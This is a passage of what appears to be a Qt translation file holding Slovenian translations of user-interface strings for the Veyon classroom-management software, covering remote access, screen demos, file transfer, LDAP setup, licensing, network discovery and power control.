+ Vgrajen VNC strežnik (x11vnc) + + + + ComputerControlListModel + + Room: %1 + Soba: %1 + + + Host/IP address: %1 + Gostitelj/IP naslov: %1 + + + Active features: %1 + Aktivne funkcije: %1 + + + Online and connected + Spletno in povezano + + + Establishing connection + Vzpostavljam povezavo + + + Computer offline or switched off + Računalnik je brez povezave ali izklopljen + + + Service unreachable or not running + Storitev ni dosegljiva ali se ne izvaja + + + Authentication failed or access denied + Preverjanje pristnosti ni uspelo ali je dostop zavrnjen + + + Disconnected + Odklopljen + + + No user logged on + Ni prijavljenih uporabnikov + + + Logged on user: %1 + Prijavljen uporabnik: %1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + %1 Servis %2 pri %3:%4 + + + Authentication error + Napaka avtentifikacije + + + Remote access + Oddaljen dostop + + + User "%1" at host "%2" is now accessing this computer. + Uporabnik "%1" pri gostitelju"%2" zdaj dostopa do tega računalnika + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + Uporabnik "%1" pri gostitelju "%2" je poskušal dostopati do tega računalnika, vendar preverjanje ni uspelo! + + + + ComputerManagementView + + Computer management + Upravljanje računalnika + + + Add room + Dodaj sobo + + + Save computer/user list + Shrani seznam računalnikov/uporabnikov + + + Select output filename + Izberi izhodno ime datoteke + + + CSV files (*.csv) + CSV datoteka (*.csv) + + + File error + Napaka v datoteki + + + Could not write the computer and users list to %1! Please check the file access permissions. + Računalnika in uporabnikov ni mogoče vpisati v seznam %1! Preverite dovoljenja za dostop do datotek. + + + Computer search + Preišči računalnik + + + + ComputerManager + + User + Uporabnik + + + Missing network object directory plugin + Manjka vtičnik imenika omrežnega objekta + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + Nobenega privzetega vtičnika imenika omrežnega objekta ni bilo mogoče najti. Preverite svojo namestitev ali nastavite drugačen imenik ozadja objekta omrežja preko %1 konfiguratorja. + + + Computer name;Host name;User + Ime računalnika;Ime gostitelja;Uporabnik + + + Room detection failed + Zaznavanje sobe ni uspelo + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + Ni bilo mogoče ugotoviti sobe, v katero spada ta računalnik. To kaže na težave s sistemsko konfiguracijo. Vse sobe bodo namesto tega prikazane v upravljanju računalnika . + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + Navedite obstoječo konfiguracijsko datoteko za uvoz. + + + Please specify a valid filename for the configuration export. + Navedite veljavno ime datoteke za izvoz konfiguracije. + + + Please specify a valid key. + Prosimo, navedite veljaven ključ. + + + Specified key does not exist in current configuration! + Določen ključ v trenutni konfiguraciji ne obstaja! + + + Please specify a valid value. + Navedite veljavno vrednost. + + + Configure Veyon at command line + Konfigurirajte Veyon v ukazni vrstici + + + Output file is not writable! + Izhodna datoteka ni zapisljiva! + + + Output directory is not writable! + Izhodna mapa ni zapisljiva! + + + Configuration file is not readable! + Konfiguracijska datoteka ni berljiva! + + + Clear system-wide Veyon configuration + Počisti celotno sistemsko Veyon konfiguracijo + + + List all configuration keys and values + Seznam vseh konfiguracijskih ključev in vrednosti + + + Import configuration from given file + Uvozite konfiguracijo iz dane datoteke + + + Export configuration to given file + Izvozite konfiguracijo v določeno datoteko + + + Read and output configuration value for given key + Preberite in izpišite konfiguracijsko vrednost za določen ključ + + + Write given value to given configuration key + Napiši dano vrednost določenemu konfiguracijskemu ključu + + + Unset (remove) given configuration key + Odstranite dodeljeni konfiguracijski ključ + + + Commands for managing the configuration of Veyon + Ukazi za upravljanje konfiguracije Veyon + + + Upgrade and save configuration of program and plugins + Nadgradite in shranite konfiguracijo programa in vtičnikov + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + Lastnosti samodejnega zagona za storitev %1 ni bilo mogoče spremeniti. + + + Could not configure the firewall configuration for the %1 Server. + Konfiguracije požarnega zidu za strežnik %1 ni bilo mogoče konfigurirati. + + + Could not configure the firewall configuration for the %1 Worker. + Konfiguracije požarnega zidu za delavca %1 ni bilo mogoče konfigurirati. + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + Nastavitve za generiranje SAS s programsko opremo ni bilo mogoče spremeniti. Pošiljanje Ctrl+Alt+Del prek daljinskega upravljalnika ne bo delovalo! + + + Configuration is not writable. Please check your permissions! + Konfiguracija ni zapisljiva. Prosimo, preverite svoja dovoljenja! + + + + DemoClient + + %1 Demo + %1 Demo + + + + DemoConfigurationPage + + Demo server + Demo strežnik + + + Tunables + Tuneli + + + ms + ms + + + Key frame interval + Interval ključnega okvira + + + Memory limit + Omejitev pomnilnika + + + Use multithreading (experimental) + Uporabite večnitnostnost (eksperimentalno) + + + MB + MB + + + Update interval + Interval posodobitve + + + s + s + + + + DemoFeaturePlugin + + Fullscreen demo + Predavaj v celem zaslonu + + + Stop demo + Ustavi predavanje + + + Window demo + Vodi v oknu + + + Give a demonstration by screen broadcasting + Podaj predstavitev z zaslonom predvajanja + + + Demo server + Demo strežnik + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + V tem načinu se vaš zaslon prikaže v celozaslonskem načinu na vseh računalnikih, medtem ko so vhodne naprave uporabnikov zaklenjene. + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + V tem načinu se zaslon prikaže v oknu na vseh računalnikih. Uporabniki lahko po potrebi preklopijo na druga okna. + + + + DesktopAccessDialog + + Desktop access dialog + Dialog za dostop do namizja + + + Confirm desktop access + Potrdi dostop do namizja + + + Never for this session + Nikoli za to sejo + + + Always for this session + Zmeraj za to sejo + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + Uporabnik %1 na računalniku %2 želi dostopati do vašega namizja. Želite odobriti dostop? + + + + DesktopServicesConfigurationPage + + Programs & websites + Programi in spletne strani + + + Predefined programs + Vnaprej določeni programi + + + Name + Ime + + + Path + Pot + + + Add new program + Dodaj nov program + + + Remove selected program + Odstrani izbrani program + + + Predefined websites + Vnaprej določene spletne strani + + + Remove selected website + Odstrani izbrano spletno mesto + + + URL + URL + + + New program + Nov program + + + New website + Nova spletna stran + + + + DesktopServicesFeaturePlugin + + Run program + Zaženi program + + + Open website + Odpri spletno stran + + + Click this button to open a website on all computers. + Kliknite ta gumb, da odprete spletno mesto na vseh računalnikih. + + + Please enter the URL of the website to open: + Vnesite URL spletnega mesta, ki ga želite odpreti: + + + Start programs and services in user desktop + Zaženite programe in storitve na uporabniškem namizju + + + Click this button to run a program on all computers. + Kliknite ta gumb za zagon programa na vseh računalnikih. + + + Run program "%1" + Zaženi program "%1" + + + Custom program + Program po meri + + + Open website "%1" + Odpri spletno stran "%1" + + + Custom website + Spletna stran po meri + + + + ExternalVncServer + + External VNC server + Zunanji VNC strežnik + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + Konfiguracija zunanjega strežnika VNC + + + Port: + Vrata: + + + Password: + Geslo: + + + + FeatureControl + + Feature control + Funkcija nadzora + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + Žal ne morem odpreti datoteke "%1" za branje! Prosimo, preverite svoja dovoljenja! + + + + FileTransferDialog + + File transfer + Prenos datoteke + + + Options + Možnosti + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + Datoteke + + + Start + Začetek + + + Overwrite existing files + Prepiši obstoječe datoteke + + + + FileTransferPlugin + + File transfer + Prenos datoteke + + + Click this button to transfer files from your computer to all computers. + Klikni na ta gumb za prenos datotek iz vašega računalnika na vse računalnike. + + + Select one or more files to transfer + Izberi eno ali več datotek za prenos + + + Transfer files to remote computer + Prenesi datoteke na oddaljeni računalnik + + + Received file "%1". + Prejeta datoteka "%1". + + + Could not receive file "%1" as it already exists. + Ne morem prejeti datoteke "%1", ker že obstaja. + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + Uporabniški vmesnik + + + Language: + Jezik: + + + Use system language setting + Uporabi sistemske nastavitve jezika + + + Veyon + Veyon + + + Logging + Beleženje + + + Log file directory + Imenik datoteke dnevnikov + + + ... + ... + + + Log level + Nivo beleženja + + + Nothing + Nič + + + Only critical messages + Samo kritična sporočila + + + Errors and critical messages + Napake in kritična sporočila + + + Warnings and errors + Opozorila in napake + + + Information, warnings and errors + Informacije, opozorila in napake + + + Debug messages and everything else + Razhroščevanje sporočil in vsega ostalega + + + Limit log file size + Omeji velikost dnevniške datoteke + + + Clear all log files + Počisti vse dnevniške datoteke + + + Log to standard error output + Dnevnik na standardni izhod za napako + + + Network object directory + Imenik omrežnih objektov + + + Backend: + Ozadje: + + + Update interval: + Posodobi interval: + + + %1 service + %1 storitev + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + Storitev %1 je treba začasno ustaviti, da odstranite datoteke dnevnika. Nadaljujem? + + + Log files cleared + Počiščene dnevniške datoteke + + + All log files were cleared successfully. + Vse dnevniške datoteke so bile uspešno počiščene. + + + Error + Napaka + + + Could not remove all log files. + Ni bilo možno odstranit vseh dnevniških datotek. + + + MB + MB + + + Rotate log files + Zavrti datoteke dnevnika + + + x + x + + + seconds + sekund + + + Write to logging system of operating system + Zapiši v sistem beleženja operacijskega sistema + + + Authentication + Preverjanje pristnosti + + + Method: + Metoda: + + + Logon authentication + Preverjanje pristnosti prijave + + + Key file authentication + Preverjanje pristnosti z datotečnim ključem + + + + InternetAccessControlConfigurationPage + + Internet access control + Nadzor dostopa do interneta + + + Backend: + Hrbtna: + + + General settings + Splošne nastavitve + + + Backend settings + Nastavitve ozadja + + + + InternetAccessControlPlugin + + Block access to the internet + Blokiraj dostop do interneta + + + Allow access to the internet + Dovoli dostop do interneta + + + Show help about command + Pokaži pomoč o ukazu + + + Block internet + Blokiraj internet + + + Click this button to block access to the internet. + Kliknite ta gumb, da blokirate dostop do interneta. + + + Unblock internet + Odblokiraj internet + + + Click this button to allow access to the internet. + Kliknite ta gumb, da omogočite dostop do interneta. + + + Control access to the internet + Nadzor dostopa do interneta + + + Commands for controlling access to the internet + Ukazi za nadzor dostopa do interneta + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + Opis napake LDAP: %1 + + + No LDAP error description available + Na voljo ni opisa napake LDAP + + + + LdapConfigurationPage + + LDAP + LDAP + + + Basic settings + Osnovne nastavitve + + + General + Splošno + + + LDAP server and port + LDAP strežnik in vrata + + + Bind DN + DN povezave + + + Bind password + Geslo za povezovanje + + + Anonymous bind + Anonimna povezava + + + Use bind credentials + Uporabi povezovalne poverilnice + + + Test + Preizkusi + + + Base DN + Base DN + + + Fixed base DN + Stalni base DN + + + e.g. dc=example,dc=org + npr. dc=primer,dc=org + + + Discover base DN by naming context + Odkrij base DN s kontekstnim imenovanjem + + + e.g. namingContexts or defaultNamingContext + npr. namingContexts ali defaultNamingContext + + + Environment settings + Nastavitve okolja + + + Object trees + Predmetna drevesa + + + Computer tree + Računalniško drevo + + + e.g. OU=Groups + npr. OU=Skupine + + + User tree + Uporabniško drevo + + + e.g. OU=Users + npr. OU=Uporabniki + + + e.g. OU=Computers + npr. OU=Računalniki + + + Group tree + Skupinsko drevo + + + Perform recursive search operations in object trees + Opravite rekurzivne operacije iskanja predmetnih dreves + + + Object attributes + Atributi objekta + + + e.g. hwAddress + npr. hwNaslov + + + Computer host name attribute + Atribut gostiteljskega imena računalnika + + + e.g. member or memberUid + npr. član ali članUid + + + User login attribute + Atribut prijave uporabnika + + + e.g. dNSHostName + npr. dNSHostName + + + Computer MAC address attribute + Atribut MAC naslova računalnika + + + Group member attribute + Atribut člana skupine + + + e.g. uid or sAMAccountName + npr. uid ali sAMAccountName + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + Imena gostiteljev, shranjena kot popolna imena domen (FQDN, e.g. myhost.example.org) + + + Advanced settings + Napredne nastavitve + + + Optional object filters + Izbirni filtri objektov + + + Filter for user groups + Filter za skupine uporabnikov + + + Filter for users + Filter za uporabnike + + + Filter for computer groups + Filter za računalniške skupine + + + Group member identification + Identifikacija članov skupine + + + Distinguished name (Samba/AD) + Razločno ime (Samba/AD) + + + Configured attribute for user login or computer host name (OpenLDAP) + Konfigurirani atribut za prijavo uporabnika ali ime računalniškega gostitelja (OpenLDAP) + + + List all groups of a user + Seznam vseh skupin uporabnika + + + List all groups of a computer + Seznam vseh skupin računalnika + + + Get computer object by IP address + Pridobi računalniški predmet po naslovu IP + + + LDAP connection failed + Neuspela povezava na LDAP + + + LDAP bind failed + Povezava LDAP ni uspela + + + LDAP bind successful + Povezava LDAP je uspela + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + Uspelo se je povezati s strežnikom LDAP in opraviti povezavo LDAP. Osnovne nastavitve LDAP so pravilno konfigurirane. + + + LDAP base DN test failed + LDAP base DN test ni uspel + + + LDAP base DN test successful + LDAP base DN test je uspel + + + LDAP naming context test failed + Ozadje poimenovanja LDAP ni uspelo + + + LDAP naming context test successful + Ozadje poimenovanja LDAP je uspelo + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + Ozadje imena poimenovanja LDAP je bilo uspešno preverjeno. Ugotovljena je bila naslednja base DN: +%1 + + + user tree + uporabniško drevo + + + group tree + skupinsko drevo + + + computer tree + računalniško drevo + + + Enter username + Vnesite uporabniško ime + + + Please enter a user login name (wildcards allowed) which to query: + Vnesite uporabniško ime za prijavo (omogočeni so nadomestni znaki) za poizvedbo: + + + user objects + uporabnikovi predmeti + + + user login attribute + atribut prijave uporabnika + + + Enter group name + Vnesi ime skupine + + + Please enter a group name whose members to query: + Vnesite ime skupine, katerega člani lahko poizvedujejo: + + + group members + člani skupine + + + group member attribute + atribut člana skupine + + + Group not found + Skupine ni bilo mogoče najti + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + Ni bilo mogoče najti skupine z imenom "%1". Preverite ime skupine ali parameter drevesa skupine. + + + Enter computer name + Vnesite ime računalnika + + + Please enter a computer host name to query: + Vnesite ime računalnika gostitelja za poizvedbo: + + + Invalid host name + Neveljavno ime gostitelja + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + Nastavili ste imena računalniških gostiteljev, ki jih želite shraniti kot popolna imena domen (FQDN), vendar ste vnesli ime gostitelja brez domene. + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + Nastavili ste imena računalniških gostiteljev, ki jih želite shraniti kot preprosta imena gostiteljev brez imena domene, vendar ste vnesli ime gostitelja z delom imena domene. + + + computer objects + računalniški predmeti + + + computer host name attribute + atribut imena računalniškega gostitelja + + + Enter computer DN + Vnesite DN računalnika + + + Please enter the DN of a computer whose MAC address to query: + Vnesite DN računalnika, katerega naslov MAC je za poizvedbo: + + + computer MAC addresses + računalnik MAC naslovov + + + computer MAC address attribute + atribut računalnika MAC naslovov + + + users + uporabniki + + + user groups + skupine uporabnikov + + + computer groups + skupine računalnikov + + + Please enter a user login name whose group memberships to query: + Prosimo, vnesite uporabniško ime za prijavo katerega člani skupine želite poizvedovati: + + + groups of user + skupine uporabnika + + + user login attribute or group membership attribute + atribut prijave uporabnika ali atribut članstva skupine + + + User not found + Uporabnik ni najden + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + Uporabnika z imenom "%1" ni bilo mogoče najti. Preverite uporabniško ime ali parameter drevesa uporabnika. + + + Enter host name + Vnesite ime gostitelja + + + Please enter a computer host name whose group memberships to query: + Vnesite ime računalnika gostitelja, katere člani skupine naj poizvedujejo: + + + groups of computer + skupine računalnika + + + computer host name attribute or group membership attribute + atribut imena računalniškega gostitelja ali atribut skupine članov + + + Computer not found + Računalnika ni bilo mogoče najti + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + Ni bilo mogoče najti računalnika z imenom gostitelja "%1". Preverite ime gostitelja ali parameter drevesa računalnika. + + + Enter computer IP address + Vnesite računalnikov IP naslov + + + Please enter a computer IP address which to resolve to an computer object: + Vnesite IP naslov računalnika, ki ga želite razrešiti na računalniški objekt: + + + Host name lookup failed + Iskanje imena gostitelja ni uspelo + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + Ne morem pogledati imena gostitelja za IP naslov %1. Preverite nastavitve strežnika DNS. + + + computers + računalniki + + + LDAP %1 test failed + Preizkus LDAP %1 ni uspel + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + Ne morem vnesti nobenih vnosov v poizvedbo v nastavljeno %1. Preverite parameter %1. + +%2 + + + LDAP %1 test successful + Preizkus LDAP %1 je uspel + + + The %1 has been queried successfully and %2 entries were found. + %1 je bila uspešna poizvedba in ugotovljeno je, da je bilo %2 vnosov. + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + Ni bilo mogoče vprašati nobenega %1. Preverite parameter %2 ali vnesite ime obstoječega predmeta. + +%3 + + + %1 %2 have been queried successfully: + +%3 + %1 %2 je bilo uspešno vprašanih: + +%3 + + + LDAP filter test failed + Test LDAP filtra ni uspel + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + Ni bilo mogoče izvesti poizvedbe %1 z uporabo nastavljenega filtra. Preverite filter LDAP za %1. + +%2 + + + LDAP filter test successful + Test LDAP filtra je uspel + + + %1 %2 have been queried successfully using the configured filter. + %1 %2 je bilo uspešno vprašanih z uporabo nastavljenega filtra. + + + (only if different from group tree) + (le, če je drugačen od drevesa skupine) + + + Computer group tree + Drevo računalniške skupine + + + computer group tree + drevo računalniške skupine + + + Filter for computers + Filter za računalnike + + + e.g. room or computerLab + npr. soba ali računalnikLab + + + List all members of a computer room + Seznam vseh članov v računalniški sobi + + + List all computer rooms + Seznam vseh računalniških sob + + + Enter computer room name + Vnesite ime računalniške sobe + + + Please enter the name of a computer room (wildcards allowed): + Vnesite ime računalniške sobe (dovoljeni so nadomestni znak): + + + computer rooms + računalniške sobe + + + computer room attribute + atribut računalniške sobe + + + Please enter the name of a computer room whose members to query: + Vnesite ime računalniške sobe, katere člani lahko poizvedujejo: + + + computer room members + člani računalniške sobe + + + computer group filter or computer room member aggregation + filtriranje računalniških skupin ali združevanje članov računalniške sobe + + + Computer rooms + Računalniške sobe + + + Integration tests + Integracijski testi + + + Computer room attribute + Atribut računalniške sobe + + + Aggregate computers in a room via: + Združite računalnike v sobi preko: + + + Computer groups + Računalniške skupine + + + Computer room attribute in computer objects + Atribut računalniške sobe v računalniških predmetih + + + Test not applicable + Preskus ni uporaben + + + Computer room name attribute + Atribut imena računalniške sobe + + + e.g. name or description + npr. ime ali opis + + + Filter for computer containers + Filter za računalniške vsebnike + + + Computer containers or OUs + Računalniški vsebniki OU + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + Prosimo, spremenite nastavitve računalniške sobe za uporabo računalniških skupin ali računalniških vsebnikov kot računalniške sobe. Nato bo naveden atribut namesto skupnega imena računalniških skupin ali vsebnikov predmetov za poizvedbe. V nasprotnem primeru ne potrebujete nastavitve tega atributa. + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + Prosimo, spremenite nastavitve računalniške sobe spodaj za uporabo računalniških vsebnikov kot računalniških sob. V nasprotnem primeru ne potrebujete nastavitve tega filtra. + + + Connection security + Varnost povezave + + + TLS certificate verification + Preverjanje TLS certifikata + + + System defaults + Sistemsko privzeto + + + Never (insecure!) + Nikoli (nezanesljivo!) + + + Custom CA certificate file + CA certifikatna datoteka po meri + + + None + Brez + + + TLS + TLS + + + SSL + SSL + + + e.g. (objectClass=computer) + npr. (objectClass = računalnik) + + + e.g. (objectClass=group) + npr. (objectClass = skupina) + + + e.g. (objectClass=person) + npr. (objectClass = oseba) + + + e.g. (objectClass=room) or (objectClass=computerLab) + npr. (objectClass = soba) ali npr. (objectClass = računalnikLab) + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + npr. (objectClass = vsebnik) ali npr. (objectClass = organizacijska enota) + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + Ni mogoča poizvedba nastavljene base DN. Preverite base DN parameter. + +%1 + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + Poizvedba LDAP base DN je bila uspešna. Ugotovljeni so bili naslednji vnosi: + +%1 + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + Neuspešna poizvedba base DN preko kontekstnih poimenovanj . Preverite parameter atributa konteksta poimenovanja. + +%1 + + + Certificate files (*.pem) + Datoteke potrdil (*.pem) + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + Povezave s strežnikom LDAP ni bilo mogoče vzpostaviti. Preverite parametre strežnika. + +%1 + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + Ne morem se povezati na strežnik LDAP. Preverite parametre strežnika in povezovalne poverilnice. + +%1 + + + Encryption protocol + Protokol šifriranja + + + + LdapPlugin + + Auto-configure the base DN via naming context + Samodejno konfiguriraj base DN preko konteksta imenovanja + + + Query objects from LDAP directory + Poizvedba predmetov iz imenika LDAP + + + Show help about command + Prikaži pomoč o ukazu + + + Commands for configuring and testing LDAP/AD integration + Ukazi za konfiguriranje in testiranje integracije LDAP/AD + + + Provide LDAP/AD integration for Veyon + Zagotovite integracijo LDAP/AD za Veyon + + + LDAP (load computers and rooms from LDAP/AD) + LDAP (naloži računalnike in sobe iz LDAP/AD) + + + LDAP (load users and groups from LDAP/AD) + LDAP (naloži uporabnike in skupine iz LDAP/AD) + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + <N/A> + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + Prikaži pomoč za določen ukaz + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + <N/A> + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + Vtičnik izvajanja abstraktnih funkcij za platformo Linux + + + + MainToolBar + + Configuration + Nastavitev + + + Disable balloon tooltips + Onemogoči namige v balončkih + + + Show icons only + Prikaži samo ikone + + + + MainWindow + + MainWindow + Glavno okno + + + toolBar + Orodna vrstica + + + General + Splošno + + + &File + Datoteka (&F) + + + &Help + Pomoč (&H) + + + &Quit + Končaj (&Q) + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + Nal&oži nastavitve iz datoteke + + + Ctrl+O + Ctrl+O + + + About Qt + Vizitka Qt + + + Authentication impossible + Preverjanje pristnosti ni mogoče + + + Configuration not writable + Nastavitve niso zapisljive + + + Load settings from file + Naloži nastavitve iz datoteke + + + Save settings to file + Shrani nastavitve v datoteko + + + Unsaved settings + Neshranjene nastavitve + + + There are unsaved settings. Quit anyway? + Nekatere nastavitve niso shranjene. Vseeno končam? + + + Veyon Configurator + Veyon konfigurator + + + Service + Storitev + + + Master + Glavni + + + Access control + Nadzor dostopa + + + About Veyon + O programu + + + Auto + Samodejno + + + Computer rooms + Računalniške sobe + + + About + Vizitka + + + %1 Configurator %2 + %1 konfigurator %2 + + + JSON files (*.json) + JSON datoteke (*.json) + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + Lokalno konfiguracijsko ozadje je sporočilo, da konfiguracije ni mogoče zapisati! Konfiguratorja %1 zaženite z višjimi pravicami. + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + Datoteke ključa za preverjanje pristnosti niso bile najdene, ali so vaše trenutne zastarele. Ustvarite nove datoteke ključa z uporabo konfiguratorja %1. Druga možnost je nastaviti preverjanje pristnosti pri prijavi z uporabo %1 konfiguratorja. V nasprotnem primeru ne boste mogli dostopati do računalnikov z uporabo %1. + + + Access denied + Dostop zavrnjen + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + Glede na lokalno konfiguracijo nimate dovoljenega dostopa do računalnikov v omrežju. Prijavite se z drugim računom ali pustite skrbniku sistema, da preveri lokalno konfiguracijo. + + + Screenshots + Zaslonska slika + + + Feature active + Aktivna funkcija + + + The feature "%1" is still active. Please stop it before closing %2. + Funkcija "%1" je še vedno aktivna. Pred zapiranjem %2 jo ustavite. + + + Reset configuration + Ponastavitev konfiguracije + + + Do you really want to reset the local configuration and revert all settings to their defaults? + Ali res želite ponastaviti lokalno konfiguracijo in spremeniti vse nastavitve na njihove privzete nastavitve? + + + Search users and computers + Iskanje uporabnikov in računalnikov + + + Adjust optimal size + Prilagodi optimalno velikost + + + Align computers to grid + Poravnaj računalnike z mrežo + + + Use custom computer placement + Uporabi postavitev računalnika po meri + + + %1 Configurator + %1 konfigurator + + + Insufficient privileges + Nezadostni privilegiji + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + Ni bilo mogoče začeti z administrativnimi pravicami. Prosimo, prepričajte se, da je podoben program nameščen za vaše namizno okolje! Program bo deloval z običajnimi uporabniškimi pravicami. + + + Only show powered on computers + Pokaži samo priklope na računalnikih + + + &Save settings to file + &Shrani nastavitve v datoteko + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + Imeniki + + + ... + ... + + + User configuration + Uporabniška konfiguracija + + + Feature on computer double click: + Funkcija dvojnega klika na računalniku: + + + Automatically switch to current room at start + Samodejno preklopi na trenutno sobo ob zagonu + + + Features + Funkcije + + + All features + Vse funkcije + + + Disabled features + Onemogoči funkcije + + + Perform access control at program start + Izvedi nadzor dostopa ob zagonu programa + + + Screenshots + Zaslonske slike + + + <no feature> + <brez funkcije> + + + Automatically adjust computer thumbnail size at start + Samodejno prilagodi velikost sličic računalnika ob zagonu + + + Basic settings + Osnovne nastavitve + + + Behaviour + Obnašanje + + + Enforce selected mode for client computers + Sproži izbrani način za odjemalske računalnike + + + Only show current room + Prikaz samo trenutno sobo + + + Allow adding rooms manually + Dovoli dodajanje prostorov ročno + + + Hide local computer + Skrij lokalni računalnik + + + Hide empty rooms + Skrij prazne sobe + + + Hide computer filter field + Skrij polje računalniškega filtra + + + Actions such as rebooting or powering down computers + Ukrepi, kot so ponovni zagon ali izklop računalnikov + + + Show confirmation dialog for potential dangerous actions + Prikaži potrditveni dialog za potencialno nevarne aktivnosti + + + User interface + Uporabniški vmesnik + + + Background color + Barva ozadja + + + Thumbnail update interval + Interval posodabljanja sličic + + + ms + ms + + + Program start + Zagon programa + + + Modes and features + Načini in funkcije + + + User and computer name + Ime uporabnika in računalnika + + + Only user name + Samo uporabniško ime + + + Only computer name + Samo ime računalnika + + + Computer thumbnail caption + Napis sličice računalnika + + + Computer rooms + Računalniške sobe + + + Automatically open computer rooms widget + Samodejno odpri pripomoček računalniške sobe + + + Text color + Barva besedila + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + Nadzor + + + Builtin monitoring mode + Vgrajen način nadzora + + + This is the default mode and allows you to monitor all computers in one or more rooms. + To je privzeti način in vam omogoča spremljanje vseh računalnikov v eni ali več sobah. + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + npr. 192.168.1.0/24 + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + Preizkus + + + Network ranges + + + + Add new group + Dodaj novo skupino + + + Remove selected group + Odstrani izbrano skupino + + + Groups + Skupine + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + ms + + + Session scan limit + + + + New group + Nova skupina + + + Options + Možnosti + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + Odkriti računalniki + + + + NetworkDiscoveryPlugin + + Show help for specific command + Prikaži pomoč za določen ukaz + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + Soba/računalnik + + + + PasswordDialog + + Username + Uporabniško ime + + + Password + Geslo + + + Veyon Logon + Veyon prijava + + + Authentication error + Napaka preverjanja pristnosti + + + Logon failed with given username and password. Please try again! + Prijava z neodobrenim uporabniškim imenom in geslom ni uspela. Prosim, poskusite ponovno! + + + Please enter your username and password in order to access computers. + Vnesite svoje uporabniško ime in geslo za dostop do računalnikov. + + + + PowerControlFeaturePlugin + + Power on + Vključi + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + Kliknite ta gumb za vklop vseh računalnikih. Na ta način vam ni treba ročno vklapljati vsakega računalnika. + + + Reboot + Ponovni zagon + + + Click this button to reboot all computers. + Kliknite ta gumb, če želite znova zagnati vse računalnike. + + + Power down + Izklopi + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + Kliknite ta gumb, da izklopite vse računalnike. Na ta način vam ni treba ročno izklopiti vsakega računalnika. + + + Power on/down or reboot a computer + Vklop / Izklop / Ponovni zagon računalnika + + + Confirm reboot + Potrdi ponovni zagon + + + Confirm power down + Potrdi izklop + + + Do you really want to reboot the selected computers? + Ali res želite ponovno zagnati izbrane računalnike? + + + Do you really want to power down the selected computer? + Ste 